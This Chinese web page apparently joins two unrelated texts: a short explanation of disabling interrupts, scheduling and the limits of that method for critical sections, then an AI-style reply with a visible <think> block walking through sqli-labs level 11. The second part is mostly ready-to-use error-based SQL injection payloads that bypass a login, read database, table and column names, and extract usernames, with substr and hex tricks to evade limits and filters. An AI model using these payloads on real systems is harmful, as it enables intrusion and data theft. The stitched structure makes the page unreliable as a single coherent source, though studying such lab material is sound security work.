关中断是否禁止任务调度?

 首先说明一下,引起调度(任务切换)的原因有两个:
1、任务主动进入了阻塞状态,就像2楼说的,调用了所谓的切换函数。

2、中断,中断服务程序(isr)改变了任务状态,使某个比当前任务优先级高的任务进入了准备好(ready)状态,于是内核调用了切换函数。

关了中断,就禁止了抢占,如果当前任务也没有进行主动调度,当然系统中也就不会出现比当前优先级更高的任务进入就绪了,也就谈不上去“抢占CPU并访问临界区和共享变量”了。

关 中 断 之 后, 任 何 外 部 事 件 都 不 能 打 扰 处 理 机 连 续 执 行 临 界 区 程 序。 如 果 临 界 区 程 序 本 身 并 不 包 含 使 它 的 进 程 转 变 为 封 锁 状 态 的 因 素, 那 么 这 种 方 法 就 能 保 证 临 界 区 作 为 一 个 整 体 执 行。 这 种 方 法 的 优 点 是 简 单、 可 靠, 但 是 它 也 有 一 定 的 局 限 性 和 若 干 不 足 之 处。

(1) 它 不 能 用 于 多 处 理 机 系 统。 其 原 因 是: 由 于 该 系 统 中 的 多 个 处 理 机 都 有 其 各 自 的 中 断 开 关, 因 此 一 个 处 理 机 并 不 能 阻 止 在 其 它 处 理 机 上 运 行 的 进 程 进 入 同 类 临 界 区。

(2) 在 临 界 区 中 如 果 包 含 有 使 执 行 它 的 进 程 有 可 能 进 入 封 锁 状 态 的 因 素, 则 也 不 能 使 用 这 种 方 法。 因 为 在 该 进 程 进 入 封 锁 状 态 后, 系 统 将 调 度 另 一 进 程 使 用 处 理 机, 如 果 需 要, 该 进 程 也 可 以 执 行 临 界 区 程 序, 不 会 受 到 任 何 阻 拦, 所 以 在 这 种 情 况 下, 开、 关 中 断 不 能 实 施 临 界 区 互 斥。

(3) 如 果 临 界 区 比 较 长, 则 本 法 会 降 低 中 断 响 应 速 度。

(4) 这 是 一 把 锁 处 理 各 类 临 界 区, 不 必 要 地 扩 大 了 互 斥 范 围。


<think>我们正在处理的是sqli-labs靶场的第11关。根据用户需求,我们需要使用报错盲注(Error-Based Blind Injection)的方法。首先,我们需要了解第11关的基本情况。 根据引用[2]和引用[3]的提示,第11关是一个基于POST请求的注入点,位于登录表单的用户名或密码字段。通常,这一关的注入类型是字符型,并且可能需要单引号闭合。 报错盲注是利用数据库的错误回显来获取信息的一种注入方式。在MySQL中,我们可以使用一些能够引发错误并携带查询结果的函数,如updatexml(), extractvalue()等。 步骤概述: 1. 确定注入点:通常在第11关,我们尝试在用户名或密码字段输入单引号(')来测试,如果存在SQL语法错误,则说明可能存在注入。 2. 确定闭合方式:根据错误信息或页面行为(如登录成功/失败)判闭合方式。引用[2]提到是字符型单引号注入。 3. 构造报错注入语句:利用报错函数将想要查询的信息通过错误信息显示出来。 由于用户要求报错盲注,我们这里使用updatexml()函数作为示例。 具体步骤: 步骤1:确定注入点 在用户名输入框中输入:`'`,密码输入框任意输入(如123),观察页面是否返回数据库错误信息。如果返回错误,则说明存在注入。 步骤2:构造报错注入语句 假设注入点在用户名字段,且为单引号闭合,我们可以构造如下: 输入用户名:`' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1) -- ` 密码:任意(比如123) 解释: - `'` 用于闭合前面的引号。 - `or` 后面的表达式为真,从而绕过登录验证。 - `updatexml(1, concat(0x7e, (select database()), 0x7e), 1)`:updatexml函数第二个参数应该是XPath表达式,我们通过concat将波浪符(0x7e)和查询结果连接,由于波浪符不是XPath格式,因此会报错,并将concat的内容显示在错误信息中。 - `-- ` 注释掉后面的语句。 步骤3:获取信息 提交后,如果报错信息中出现了`~database_name~`这样的内容,则说明成功。我们可以通过替换`select database()`为其他查询来获取更多信息。 例如,获取当前数据库的第一个表名: ``` ' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e), 1) -- ``` 注意:由于报错信息有长度限制(最多32个字符),所以如果返回的结果很长,可能无法完全显示。我们可以使用substring或mid函数来分段获取。 步骤4:分段获取长数据 例如,获取users表的第一个字段名: ``` ' or updatexml(1, concat(0x7e, mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,20), 0x7e), 1) -- ``` 这里使用mid函数从第1个字符开始取20个字符。如果不够,可以调整起始位置。 步骤5:获取数据 同样,我们可以获取表中的数据,例如获取users表中第一行的用户名: ``` ' or updatexml(1, concat(0x7e, (select username from users limit 0,1), 0x7e), 1) -- ``` 但是要注意,如果返回的数据超过32个字符(包括我们添加的波浪符),则可能无法完整显示。因此,我们通常需要结合substring函数来分段获取。 例如,分段获取第一行的username: ``` ' or updatexml(1, concat(0x7e, substring((select username from users limit 0,1),1,20), 0x7e), 1) -- ``` 然后通过改变substring的起始位置(如从21开始)来获取下一段。 重要提示:在实际操作中,需要根据页面的错误回显进行调整。如果页面不显示错误信息(虽然第11关通常会显示),则可能需要使用其他方法(如布尔盲注或时间盲注)。但根据用户要求,我们使用报错盲注。 另外,注意使用`limit`来逐行获取数据,因为报错注入一次只能显示一行中的一列。 参考引用[3]中提到第11关是字符型单引号注入,并且有错误回显,因此适合报错注入。 根据引用[5]中的提示,我们也可以使用其他报错函数,但updatexml是常用的一种。 操作步骤总结: 1. 访问第11关页面(通常是一个登录页面)。 2. 在用户名输入框输入报错注入语句(如上述示例)。 3. 密码输入框输入任意值(如123)。 4. 点击提交,观察页面返回的错误信息,从中提取所需数据。 5. 根据提取的数据构造下一步的注入语句,直到获取全部所需信息。 注意:在实际操作中,可能需要多次尝试,因为报错注入有长度限制,且需要精确构造语句。 下面我们生成相关问题。</think>### sqli-labs 第11关报错盲注操作步骤 第11关是基于POST请求的登录表单注入,需要利用报错函数获取数据库信息。以下是具体操作步骤: #### 步骤1:确认注入点 1. 在用户名输入:`'`,密码输入任意值(如123) 2. 提交后若出现SQL语法错误(如`''1'' LIMIT 0,1`),说明存在字符型注入[^4] 3. 确认闭合方式:尝试`'`和`"`,根据错误信息确认是单引号闭合[^2] #### 步骤2:构造报错注入语句 使用`updatexml()`函数触发报错回显: ```sql ' or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+ ``` - `0x7e`是波浪符`~`的十六进制,用于分隔结果 - `--+`注释后续语句 - 页面将返回错误信息:`XPATH syntax error: '~database_name~'` #### 步骤3:获取数据库信息 1. **当前数据库**: ```sql ' or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+ ``` 2. **所有数据库**: ```sql ' or updatexml(1,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata),0x7e),1) --+ ``` #### 步骤4:获取表名 ```sql ' or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1) --+ ``` ⚠️ 注意:报错注入最多显示32字符,需分段获取: ```sql ' or updatexml(1,concat(0x7e,substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),1,30),0x7e),1) --+ ``` #### 步骤5:获取列名(以users表为例) ```sql ' or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e),1) --+ ``` #### 步骤6:提取数据(以username列为例) ```sql ' or updatexml(1,concat(0x7e,(SELECT group_concat(username) FROM users),0x7e),1) --+ ``` #### 关键技巧 1. **分段获取**:使用`substr()`函数处理长数据 ```sql ' or updatexml(1,concat(0x7e,substr((SELECT group_concat(username) FROM users),1,30),0x7e),1) --+ ``` 2. **绕过限制**:若单引号被过滤,用十六进制代替表名 ```sql ' or updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name=0x7573657273),0x7e),1) --+ ``` 3. **错误处理**:若页面不返回错误,尝试`extractvalue()`替代方案 ```sql ' or extractvalue(1,concat(0x7e,(SELECT database()))) --+ ``` #### 注意事项 - 所有注入语句需在**用户名框**输入,密码框任意 - 使用Burp Suite或HackBar发送POST请求更高效 - 报错注入依赖错误回显,确保服务器返回详细错误[^3]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值